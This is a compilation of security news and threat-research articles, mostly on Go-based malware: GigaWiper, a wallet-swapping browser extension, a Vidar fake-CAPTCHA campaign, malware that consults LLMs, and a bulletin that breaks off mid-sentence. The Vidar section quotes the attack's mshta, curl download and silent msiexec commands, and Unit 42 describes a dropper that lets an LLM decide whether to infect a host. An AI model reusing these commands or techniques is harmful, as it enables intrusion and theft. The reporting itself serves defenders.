golang

A new multi-purpose backdoor recently discovered by Microsoft marks a dangerous shift toward unified cyber-attack frameworks. The backdoor, tracked as GigaWiper, is linked to a malware implant with extensive operational capabilities, allowing cyber threat actors to conduct both quiet espionage activity and destructive wiping operations. Specifically, in its full version, GigaWiper is equipped with several flavors of wiping functionalities, including file-encrypting ransomware that leaves no way to decrypt the files. These functionalities were also merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems. GigaWiper allows threat actors to maintain control over infected systems, execute commands, deploy additional tooling and ultimately trigger one of multiple destructive commands on demand. In a malware analysis published on July 9 by Microsoft Security, the researchers assessed this new sophisticated tool was created by combining and reimplementing components from at least three previously separate malware families. These include the Crucio ransomware strain and FlockWiper, as well as another related component or framework that has not yet been recovered. Characteristics of GigaWiper Microsoft Threat Intelligence detected GigaWiper in October 2025, when its researchers observed compromised environments being wiped with destructive tooling. While no information about the targeted systems or the victims was shared, researchers quickly identified a versatile implant written in the Go programming language (Golang) that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware and system-level sabotage. More precisely, they observed two types of samples: Standalone wiper binaries Larger binaries with robust backdoor functionality The latter version of GigaWiper provides threat actors with the flexibility to choose their mode of destruction with three main components: A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping The consolidation of multiple destructive capabilities into a modular backdoor reflects “a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences,” the Microsoft researchers noted. “GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities.” Microsoft's Recommendations for Mitigating GigaWiper Threats For organizations looking to mitigate the multiple threats posed by a GigaWiper, Microsoft researchers made the following recommendations: Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources Turn on cloud-delivered protection in your antivirus to cover rapidly evolving attacker tools and techniques Additionally, Microsoft issued some Microsoft-specific mitigation recommendations: Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors: “Block executable files from running unless they meet a prevalence, age, or trusted list criterion”

Microsoft published new research on GigaWiper, a modular Golang backdoor for Windows that combines robust remote access with multiple ways to permanently destroy systems and data. GigaWiper is a Windows backdoor that Microsoft has observed in intrusions since October 2025. Rather than being a single-purpose wiper, it’s an operational platform that blends command‑and‑control (C2), data destruction, and remote access options in a single piece of malware. What’s remarkable is that GigaWiper seems to be built using previously separate tools like the Crucio ransomware and the FlockWiper disk wiper, wrapped into a consolidated framework. Based on the characteristics of the malware, which include espionage features (screen capture, VNC‑like remote control, system inventory) and multiple ways to irreversibly destroy data, it fits the pattern of an attacker that wants long‑term access but also reserves the option to wipe systems if they choose. GigaWiper implements about 20 commands, falling broadly into three categories: destruction, remote access/monitoring, and system management. Some examples include: Raw disk wiper that overwrites raw disk content in large chunks before forcing an immediate reboot. Fake ransomware (Crucio‑based) wiper that masquerades as ransomware. Instead of demanding payment, it encrypts files and then throws away the encryption key, making recovery impossible. Windows drive secure wiper that targets the Windows installation drive and performs multi‑pass overwrites using different byte patterns. Screen capture and recording, including one‑shot screenshots of each monitor and continuous recording while the user is active. Remote control via a TCP (Transmission Control Protocol) server that streams the desktop and allows keyboard and mouse input after creating its own Windows Firewall exceptions. GigaWiper also sets up a scheduled task called “OneDrive Update” that runs every minute and at startup to maintain persistence. Command-and-control servers were found at 185.182.193[.]21 and 212.8.248[.]104. Its management utilities include process, service, and registry managers that can create, list, or kill processes, manage Windows services, and navigate and mutate registry keys. It also collects system information, including hardware, operating system, network, firmware, user, and antivirus details. How to stay safe Because GigaWiper is deployed after attackers have already compromised a system, the best defence is preventing the initial intrusion and detecting malicious activity before destructive commands can be executed. Malwarebytes detects GigaWiper components with the detection names Trojan.FlockWiper and Backdoor.GigaWiper. If GigaWiper is detected, disconnect the affected machine from the network immediately to prevent attackers from initiating destructive commands. Enable tamper protection (or the equivalent feature in your security software) so local admins and malware cannot silently disable anti-malware or other security tools. Monitor for connections to the known C2 servers, the creation of the “OneDrive Update” scheduled task, and unauthorized attempts to disable Windows recovery. Finally, rotate credentials, particularly for any accounts that may have been compromised, and review logs for privilege escalations or lateral movement to determine if other systems have also been affected. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Cybersecurity researchers have flagged an active browser extension campaign that is designed to steal cryptocurrency by stealthily replacing wallet addresses when unsuspecting users initiate a transaction. The cryptocurrency clipper activity has been codenamed Silent Swap by McAfee Labs. "The campaign is delivered through unsigned installers – observed in both .NET and Golang variants – that deploy a malicious Chromium extension masquerading as a benign 'Google Notes' utility," the cybersecurity company said in a technical report shared with The Hacker News. The unsigned .NET installer, named BaseZipInstaller, is designed to retrieve a ZIP archive, which serves as a foundation for the malicious browser extension by scanning the system for Chromium-based browsers. For each detected profile in those browsers, it forcibly terminates the browser process and injects the extension by modifying the Secure Preferences and Preferences files. The end goal of the extension is to act as a clipper that's capable of intercepting and manipulating wallet addresses copied into the system clipboard with the goal of rerouting the funds to an attacker-controlled wallet. To realize its goals, the bogus Google Notes extension requests users to grant it permissions to access the clipboard, all URLs, and the browsing history. Because most transactions on the blockchain are irreversible, an address swap can result in permanent financial loss. McAfee Labs said the activity overlaps with a prior CountLoader campaign that delivered a crypto clipper, with evidence pointing to the same threat actor behind both clusters. A McAfee Labs spokesperson told The Hacker News that the initial access mechanism involves victims running a malicious file that launches CountLoader, which then fetches and installs additional payloads, in this case, a rogue browser extension. "Our research did not conclusively identify whether those initial installers are primarily distributed through phishing, malvertising, or another social engineering technique, so we can't attribute the campaign to one specific distribution method," the spokesperson added. "However, we do know attackers have commonly used phishing email attachments, game cracks, and similar social engineering tactics to trick victims into installing CountLoader." What makes Silent Swap stand apart is the use of a technique called EtherHiding that uses the blockchain as a dead drop resolver to retrieve the active command-and-control (C2) server details. This allows the attacker to trivially update a smart contract value to point to the new domain instead of having to redeploy the malware itself. The second aspect revolves around the covert installation of the browser extension on Chromium-based browsers like Google Chrome, Microsoft Edge, Brave, and Vivaldi by modifying protected browser settings files. The attack, however, hinges on enabling the developer mode for newer versions of the browsers, something that a threat actor can accomplish through social engineering tactics. "Normally, these browsers store security verification data (hash/HMAC values) alongside sensitive settings to detect unauthorized changes," McAfee said. "The malware recalculates and updates these security values after tampering with the files, tricking the browser into believing the malicious extension was installed legitimately." "This allows the extension to bypass the normal extension web store installation process and load silently without user approval." The campaign's persistence and evasion posture has been characterized as deliberate and layered, with the primary focus being on maintaining low visibility to the end user and high resilience against takedown and static analysis. Persistence is established by registering the extension by altering the browser's Secure Preferences file so that it's loaded on subsequent browser launches without the need for a separate mechanism. In addition, the malware attempts to enable developer mode programmatically in Brave and Opera, and the installer is self-deleted after execution, effectively removing an indicator of initial compromise. Another evasion technique is the use of dynamic wallet substitution, which is responsible for fetching a replacement address corresponding to a victim's original address. "It sends the intercepted wallet address to the attacker backend and uses the response to dynamically substitute the original address," McAfee said. "If the backend request fails, the function falls back to a predefined hard-coded wallet address, ensuring uninterrupted malicious activity." For every wallet address matching patterns associated with Bitcoin (BTC), Ethereum, Bitcoin Cash, Ripple, and Dash, it's mapped to a unique attacker-controlled address on the server-side. In contrast, all submitted Solana addresses resolve to a single attacker address. As of writing, the Solana address has been found to have a balance of $1,902.45. "Each submitted address is mapped to a unique attacker-controlled address. Re-submitting the same original returns the same replacement, indicating a deterministic one-to-one mapping maintained server-side. Telemetry data suggests that infections are globally distributed, with a higher concentration of victims reported in India. Other countries impacted by the campaign include the U.S., Brazil, Indonesia, and Spain. "This campaign is a concise illustration of where consumer-targeted cryptocurrency theft is heading," McAfee said. "Static attacker addresses have been replaced with a server-side, per-victim mapping. Fragile, hard-coded command-and-control domains have been replaced with a blockchain-resolved lookup that an operator can rotate with a single transaction." Chrome and Firefox Extensions Posing as Free VPNs Add Clipboard Stealers The disclosure comes as Socket reported on a pair of malicious Chrome and Mozilla Firefox browser extensions, both carrying the name "VPN Go: Free VPN" on the Chrome Web Store and Firefox Add-ons marketplace. "Both extensions present themselves as free VPN tools and include visible proxy functionality," Socket researchers Kirill Boychenko and Kush Pandya said. "Under the hood, both also contain malicious clipboard theft logic that continuously monitors copied text and exfiltrates it to threat actor-controlled infrastructure." The behavior extends beyond wallet addresses, as it allows the operators to siphon all kinds of sensitive data, including passwords, authentication codes, API keys, OAuth tokens, and seed phrases. Further examination of the extensions has revealed a staged malicious update pattern, where the extension developer initially published a benign version to the extension storefront before introducing the clipboard-stealing capability through a subsequent update. While versions 1.1 and 1.2 of the Chrome extension have been found to exfiltrate clipboard data to "178.236.252[.]133," version 1.3 switches the exfiltration channel to a different IP address ("77.91.123[.]187"). In the case of its Firefox equivalent, 1.3.3 is the first version to include the clipboard stealer and send the information to "178.236.252[.]133." The 1.3.4 update moves the infrastructure to "77.91.123[.]187." Users who have installed either of the extensions are advised to remove them immediately and treat any secrets copied while the extension was active as compromised. "The static code is enough to show that the extensions were designed to function as proxy tools, not merely display a fake VPN interface," Socket said. "The proxy capability still increases risk because it can route browser traffic through threat actor-supplied infrastructure, expose plaintext HTTP traffic and connection metadata, and make the extension appear useful while the clipboard monitor runs in parallel." (The story was updated after publication on July 1, 2026, to include a response from McAfee Labs.)

Risolte vulnerabilità in Go Alert AL07/260626/CSIRT-ITA Sintesi Aggiornamenti di sicurezza sanano alcune vulnerabilità, tra cui 7 con gravità “critica” e 2 con gravità “alta”, presenti nella libreria golang.org/x/crypto contenente le funzionalità crittografiche e i protocolli di sicurezza. Tipologia Authentication Bypass Security Feature Bypass Security Restrictions Bypass Denial of Service Prodotti e/o versioni affette golang.org/x/crypto tutte le versioni precedenti alla 0.52.0 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni dei bollettini di sicurezza riportati nella sezione Riferimenti. Di seguito sono riportate le sole CVE relative alle vulnerabilità con gravità “critica” e “alta”:

Unit 42 researchers searched through open-source intelligence (OSINT) and our internal telemetry for potential signs of malware made to any degree with large language models (LLMs). This includes either using LLMs to create the malware entirely or to assist with their functionality. This article examines two samples, both of which originated from our OSINT hunts. The rise of AI has sparked considerable interest in its potential applications within cybersecurity, both from the defender and attacker perspectives. We currently consider three primary use cases for AI as applied by the creators of malware: Leveraging AI to write malware Leveraging AI for remote decision making (e.g. augment or replace a command-and-control operator) Leveraging AI for local decision making (e.g. locally executed agentic attack flows) Unit 42 has analyzed malware that fits the first two categories: AI-written malware and malware controlled by an AI command-and-control (C2) for remote decision making. We are not aware of any examples in the wild of the third category: locally executed agentic attack flows. We believe that threat actors are leveraging AI to help write malware, and that AI enables lower-skilled threat actors to create functional malware. However, we still see attackers having significant challenges in deploying local models to a target environment for malicious use or embedding them directly into a malware sample for local decision making and execution. This article focuses on our analysis of samples that leverage AI for remote decision making. We’ll discuss the following two cases that represent the current state of AI in malware: AI Theater: An Infostealer’s Illusory LLM Features - A trio of highly similar .NET information stealer samples that incorporate the OpenAI GPT-3.5-Turbo model via HTTP API. We will explore the implementation and assess the practical impact of its AI integration. AI-Gated Execution: Malware Dropper's LLM-Based Environment Assessment - A malware dropper written in Golang that leverages an LLM to evaluate a system and provide a decision on whether to proceed with an infection. The sample was initially highlighted on X as a dropper for Sliver malware. Palo Alto Networks customers are better protected from the threats discussed in this article through the following products and services: The Unit 42 AI Security Assessment can help empower safe AI use and development. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. The first sample we’ll discuss is an information stealer that integrates its functionality with OpenAI's GPT-3.5-Turbo via HTTP API. Encountering .NET malware packed with ConfuserEx 2 and observing calls to OpenAI was certainly exciting for a researcher, as it likely indicates a malware sample using an AI integration for remote C2. This integration with OpenAI indicates the malware may enable a lower skilled threat actor to interact with an infected environment without having to learn lateral movement, data collection and persistence techniques themselves. However, as we discuss later in this post, the integration with OpenAI is poorly implemented and not fully functional for some of the API calls that are available to the malware. This may indicate early testing or a low skilled actor. Artifacts such as the console log generated by the malware suggest that it may have the following capabilities: Dynamically generating a scare message without supporting functionality Analyzing target environments Creating host endpoint detection and response (EDR)/antivirus (AV) evasion content Examining the sample will reveal if these capabilities align with the sample's actual functionality. The malware is written in C# (.NET Framework 4.0) and has been obfuscated with ConfuserEx 2. The obfuscation allows the malware author to potentially hinder both analysis and detection efforts. This sample is a functional information stealer and begins by collecting and saving data to disk, like system information, browser cookies and file listings. This data is then exfiltrated to a C2 server. We found two similar samples of this malware, both with the same functionality. Both samples feature the same type of LLM use. References and requests to the OpenAI LLM API are contained in four function calls. None of these calls positively impact the malware’s operation. In fact, these calls add noise, which defenders are likely to notice. This specific implementation of these requests and references is a nonsensical use of an LLM in malware. These four function calls are: GenerateEvasionTechnique() AnalyzeTargetEnvironment() SendToC2ServerWithLLM() GenerateObfuscatedCommunication() This method sends the following prompt to the OpenAI GPT-3.5-Turbo model using the standard API: As instructed, the LLM returns a technique name (e.g., Random Delay, Process Spoofing). The malware author set a default technique name of Random Delay in case this API call fails. The technique name returned from the LLM is simply written to victim_logs.txt on the victim's desktop directory. An example of content from one of the victim_logs.txt files is: It is important to note that technique names returned from the LLM are not actually implemented. They appear to be for logging purposes only. Realistically, the LLM could return any three words for an evasion technique name, so implementing this technique correctly would require one of two options to succeed: The malware would require handler code to execute based on the string returned from the LLM. The LLM would have to send data back that could be converted to executable code at runtime. These are both feasible options, but the malware samples we've discovered using this API call do not implement either option. This method sends the following prompt to the OpenAI GPT-3.5-Turbo model using the standard API: The LLM response from this prompt is different from the GenerateEvasionTechnique() method, because the malware actually implements the result and sleeps for anywhere between 1-5 seconds (1,000-5,000 milliseconds). If the LLM fails to respond, the malware samples use a default value of 2 seconds for the sleep duration. From a malware reverse engineering perspective, this is a nonsensical use of an LLM because the response has no practical impact. The author (human or otherwise) of this malware sample does not appear to have any tangible experience in the design of tooling evasion to draw from, nor the knowledge to reasonably speculate on evasions. This method sends the following prompt to the OpenAI GPT-3.5-Turbo model using the standard API: Similar to GenerateEvasionTechnique(), the LLM returns an obfuscation technique name, which is ultimately written to a log file. The malware creates a simple structure as shown below. The timestamp is randomly generated before it is encoded as a Base64 string. It may be tempting to consider that perhaps the timestamp was Base64 encoded, as the LLM suggested in the above example. However, we could not find any implementation of Base64 that the malware leverages. The technique name is simply copied to the console output and a JSON log file. An example of the console output from this technique is: Once again, it is important to recognize that the output of this method is yet another unimplemented feature. There is no code to dynamically enforce a data obfuscation algorithm that is used in the C2 protocol. This is certainly feasible to implement, but the developer has not done so in the samples of this malware we reviewed. This is the method that is responsible for sending data back to the C2 server. The malware sends the following prompt to the OpenAI GPT-3.5-Turbo model using the standard API: The LLM returns with a legitimate-sounding message (e.g., "Routine system diagnostics completed successfully. Data transmitted for analysis."). The malware prepares an HTTP request and modifies the HTTP request header based on the response. The following are lines added to the HTTP request headers by this method: The malware sends the stolen data in JSON format to hxxp[:]//localhost:3002/crypto-data. Like most of the parameters used in the previous three methods by these malware samples, the C2 URL is simply a default value. This could indicate that the sample was not intended for actual use or was merely built for testing locally. The LLM-generated message is sent with every attempt at C2 communication. This function is different from the others in that an action is taken. Data could be successfully exfiltrated if a legitimate C2 server address or domain is provided. On the other hand, the additional HTTP request headers add no functionality, and they only appear to highlight that an LLM is being leveraged. The primary purpose of this malware is to: Extract sensitive data from victim systems (browser cookies, system information, file listings) Use AI/LLM capabilities to dynamically adapt its behavior in an attempt to evade detection Exfiltrate stolen data to a C2 server with LLM-enhanced communication Attempt to evade detection through extensive logging that impersonates legitimate activity These samples may have been generated with AI assistance, or they may have been simply guided by an inexperienced individual or team. Artifacts produced by these samples suggest interesting possibilities for the future of AI integration into C2 management, but its use of LLMs only provides an illusion of practicality. Ultimately, we can consider this AI theater. The second malware sample acts as a dropper for Sliver, an open-source adversary emulation and red team framework. Before deploying the payload, the malware sample gathers system information, including its own process name and that of its parent. It then decrypts Donut shellcode, but instead of immediately executing the shellcode, this dropper uses the collected data to assess the environment's "safety" via an LLM. The following information about the victim host is collected in the system survey: Hostname Process list Network information USB drives System uptime This information is inserted into a prompt and sent to OpenAI’s GPT-4 model using an HTTP API. The prompt offloads the decision-making to the LLM for determining if it considers the environment safe to drop the Sliver payload. Traditionally, this step is handled efficiently within the malware by carefully crafted heuristics, often combined with allow lists and deny lists, which is common practice in ransomware. However, using an LLM to make the verdict is a new approach that may prevent defenders from determining which process or system setting the malware authors are hiding from. The prompt clearly states its intention, provides inputs and gives general guidance on how to interpret the system survey data. An example of this prompt is shown below. Upon execution, the sample parses the response as JSON data and checks the execute key generated by the LLM. This response reveals that the LLM effectively reviews the submitted data and passes a verdict on the safety of the environment. If the execute key is true, the dropper proceeds to launch its Sliver payload. The dropper also writes a log file to disk (opsec.log) in the same folder it is located in during execution. An example of the opsec.log content is shown below. Note that the log output states the Sliver payload is “AI-powered,” though this is not the case. This malware dropper is notable for its use of an LLM to make execution decisions. While the LLM is hosted remotely, delegating the determination of a safe environment to AI is an interesting concept. Traditionally, this is achieved through hard-coded allow lists and deny lists. However, leveraging an LLM allows for potentially more intelligent connections between system data points, leading to a more accurate verdict. A logical next step could be to evolve to locally execute a small language model or a simple ML model trained to classify the safety of a host environment based on its features. The current landscape of AI in malware is characterized by experimentation and uneven integration. The .NET infostealer samples demonstrate a superficial and ultimately ineffective use of LLMs as AI theater. The malware dropper showcases an interesting approach by leveraging AI for environment assessment as AI-gated execution. While we cannot yet conclusively determine if developers used AI to create these malware samples, the potential for AI to aid in malware creation highlights a concerning issue of lowering the barrier to entry for less-skilled threat actors. Looking ahead, we anticipate a future where AI plays a greater role in both malware creation and execution. As local model deployment becomes more feasible, we may see malware samples with embedded AI capabilities (especially code generation) that can more dynamically adapt to their environment, evade detection and optimize malicious activities in real-time. The rise of AI-assisted malware could manifest in the form of increased feature cadence and reliability. It will be crucial to monitor these advancements and develop defenses that can effectively counter an evolving AI-driven threat landscape. Palo Alto Networks customers are better protected from the threats discussed in this article through the following products: Advanced Threat Prevention is designed to defend networks against both commodity threats and targeted threats, including the Sliver dropper. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. The Unit 42 AI Security Assessment can help empower safe AI use and development. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. SHA256 hash for .NET-based infostealer, sample 1 of 3: 1b6326857fa635d396851a9031949cfdf6c806130767c399727d78a1c2a0126c SHA256 hash for .NET-based infostealer, sample 2 of 3: 02ce798981fb2aa68776e53672a24103579ca77a1d3e7f8aaeccf6166d1a9cc6 SHA256 hash for .NET-based infostealer, sample 3 of 3: 7c7b7b99f248662a1f9aea1563e60f90d19b0ee95934e476c423d0bf373f6493 SHA256 hash for malware dropper: 052d5220529b6bd4b01e5e375b5dc3ffd50c4b137e242bbfb26655fd7f475ac6

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves. Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains. One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil. What is Vidar? Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets: Browser-stored usernames and passwords Cryptocurrency wallet information Session cookies and authentication tokens Autofill data and saved payment information Files that may contain sensitive data Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection. Fake CAPTCHA: the never-ending story When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page. This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain. The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case: mshta https://{compromised website}/challenge/cf Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns. In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer. HTA-based MSI dropper The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware. The script performs several operations: The window is resized to 0x0 and moved off-screen, making the application invisible to the user. The script terminates if the document.location.href doesn’t start withhttp . The strings are decoded using XOR and a random key. Through WMI queries, the script checks for installed antivirus products. It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file. In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream. In this case, the malicious MSI was downloaded using the following command: “C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi Afterward, the malicious MSI was executed with: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn MSI and GoLang loader The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader. Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads. In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed. The Golang loader decodes a shellcode that performs different anti-analysis checks, including: CheckRemoteDebuggerPresent IsDebuggerPresent QueryPerformanceCounter GetTickCount After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory. Analysis of compromised websites The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases. The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint. Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites. The injected script performs several actions: Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint/api/plugin . Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status. During page loads (template_redirect ), the script filters visitors based on User-Agent and targets Windows desktop visitors. Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page. How to stay safe Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference. Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking. Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything. Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code. Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware. Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed. Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack. Indicators of Compromise (IOCs) Domains cdnwoopress[.]com: Fake CAPTCHA Infrastructure woopresscdn[.]com : Fake CAPTCHA Infrastructure walwood[.]be : Fake CAPTCHA Infrastructure telegram[.]me/dikkh0k : Vidar C2 telegram[.]me/pr55ii : Vidar C2 steamcommunity[.]com/profiles/76561198742377525 : Vidar C2 steamcommunity[.]com/profiles/76561198735736086 : Vidar C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Another Thursday, another pile of weird security stuff that somehow happened in just seven days. Some of it is clever. Some of it is lazy. A few bits fall into that uncomfortable category of “yeah… this is probably going to show up in real incidents sooner than we’d like.” The pattern this week feels familiar in a slightly annoying way. Old tricks are getting polished. New research shows how flimsy certain assumptions really are. A couple of things that make you stop mid-scroll and think, “wait… people are actually pulling this off?” There’s also the usual mix of strange corners of the ecosystem doing strange things — infrastructure behaving a little too professionally for comfort, tools showing up where they absolutely shouldn’t, and a few cases where the weakest link is still just… people clicking stuff they probably shouldn’t. Anyway. If you’ve got five minutes and a mild curiosity about what attackers, researchers, and the broader internet gremlins were up to lately, this week’s ThreatsDay Bulletin on The Hacker News has the quick hits. Scroll on. OAuth consent abuseCloud security firm Wiz has warned of the dangers posed by malicious OAuth applications, highlighting how "consent fatigue" could open the door for attackers to gain access to a victim's sensitive data by giving their malicious apps a legitimate-looking name. By accepting the permissions requested by a rogue OAuth application, the user is "adding" the attacker's app into their company's tenant. "Once 'Accept' is clicked, the sign-in process is complete," Wiz said. "But instead of going to a normal landing page, the access token is sent to the attacker's Redirect URL. With that token, the attacker now has access to the user's files or emails without ever needing to know their password." The Google-owned company also said it detected a large-scale campaign active in early 2025 that involved 19 distinct OAuth applications impersonating well-known brands such as Adobe, DocuSign, and OneDrive, and targeted multiple organizations. Details of the activity were documented by Proofpoint in August 2025. Messaging account takeoverRussian-linked hackers are trying to break into the Signal and WhatsApp accounts of government officials, journalists, and military personnel globally with an aim to get unauthorized access – not by breaking encryption, but by simply tricking people into handing over the security verification codes or PINs. "The most frequently observed method used by the Russian hackers is to masquerade as a Signal Support chatbot in order to induce their targets to divulge their codes," the Netherlands Defence Intelligence and Security Service (MIVD) and the General Intelligence and Security Service (AIVD) said. "The hackers can then use these codes to take over the user's account. Another method used by the Russian actors takes advantage of the 'linked devices' function within Signal and WhatsApp." It's worth noting that a similar warning was issued by Germany last month. "These attacks were executed via sophisticated phishing campaigns, designed to trick users into sharing information – SMS codes and/or Signal PIN – to gain access to users' accounts," Signal said. Google warned last year that Signal's widespread use among Ukrainian soldiers, politicians, and journalists had made it a frequent target for Russian espionage operations. Cloud breach via software flawsGoogle has revealed that threat actors are increasingly exploiting vulnerabilities in third-party software to breach cloud environments. "The window between vulnerability disclosure and mass exploitation collapsed by an order of magnitude, from weeks to days," the tech giant's cloud division said. "While software-based exploits increased, initial access by threat actors using misconfiguration, which accounted for 29.4% of incidents in the first half of 2025, dropped to 21% in H2 2025. Similarly, exposed sensitive UI or APIs continued a downward trend, falling from 11.8% in H1 to 4.9% in H2. This decline suggests that automated guardrails are making identity and configuration errors harder to exploit and that threat actors are being driven toward more sophisticated and costly vectors that specifically target software vulnerabilities to gain a foothold." In most attacks investigated by Google, the actor's objective was silent exfiltration of high volumes of data without immediate extortion and long-term persistence. Microcontroller debug bypassNew research from Quarkslab has found that it's possible to bypass the 16-byte password protection required for debug access on several variants of the RH850 microcontroller family using voltage fault injection in under one minute. "Voltage glitching technique is performed by underpowering or overpowering the chip for a controlled amount of time to alter its behavior," the security company said. "The crowbar attack is a specific type of voltage glitch where the power supply is shorted to the ground instead of injecting a specific voltage, using a MOSFET, for example." Solar Spider suspects arrestedTwo Nigerian nationals have been arrested by authorities in the Indian state of Uttar Pradesh for their alleged involvement in an e-crime operation known as Solar Spider. The suspects are believed to have been planning to siphon large amounts of money by leveraging security flaws in Indian cooperative banking systems. According to a report from The420.in, the individuals have been identified as Okechukwu Imeka and Chinedu Okafor. The duo is suspected to be part of an international fraud syndicate involved in targeting financial institutions. Solar Spider has a history of targeting banking systems across India and the Middle East, often through spear-phishing campaigns. In a report published in July 2025, Tata Communications revealed that threat actors leverage their initial access to steal credentials, tamper with NEFT/RTGS transactions, and focus on Structured Financial Messaging System (SFMS) and Host-to-Host (H2H) infrastructures. The group is also known for deploying a sophisticated attack framework dubbed JSOutProx since at least 2019. PlugX malware campaignCheck Point has disclosed targeted campaigns against entities in Qatar using conflict-related content as lures to deliver malware families like PlugX and Cobalt Strike. The attack chain uses Windows shortcut (LNK) files contained within ZIP archives, which, when opened, cause it to download a next-stage payload from a compromised server. The payload then displays the decoy document while using DLL side-loading to deploy PlugX. The activity, detected on March 1, 2026, has been attributed to Mustang Panda (aka Camaro Dragon). A second attack has been observed using a password-protected archive to execute a previously undocumented Rust loader that's responsible for deploying Cobalt Strike using DLL side-loading. "This loader exploits DLL hijacking of nvdaHelperRemote.dll, a component of the open-source screen reader NVDA. Abuse of this component has previously been observed in only a limited number of Chinese-nexus campaigns, including China-aligned activity associated with a campaign delivering Voldemort backdoor, as well as a wave of attacks targeting the Philippines and Myanmar back in 2025," Check Point said. While this attack is assessed as China-aligned, it has not been attributed to a specific threat actor. "The attackers leveraged the ongoing war in the Middle East to make their lures more credible and engaging, demonstrating the ability to rapidly adapt to major developments and breaking news," the company said. Teen DDoS kit sellersPolish police have referred seven suspected minor cybercriminals to family court over an alleged scheme to sell distributed denial-of-service (DDoS) 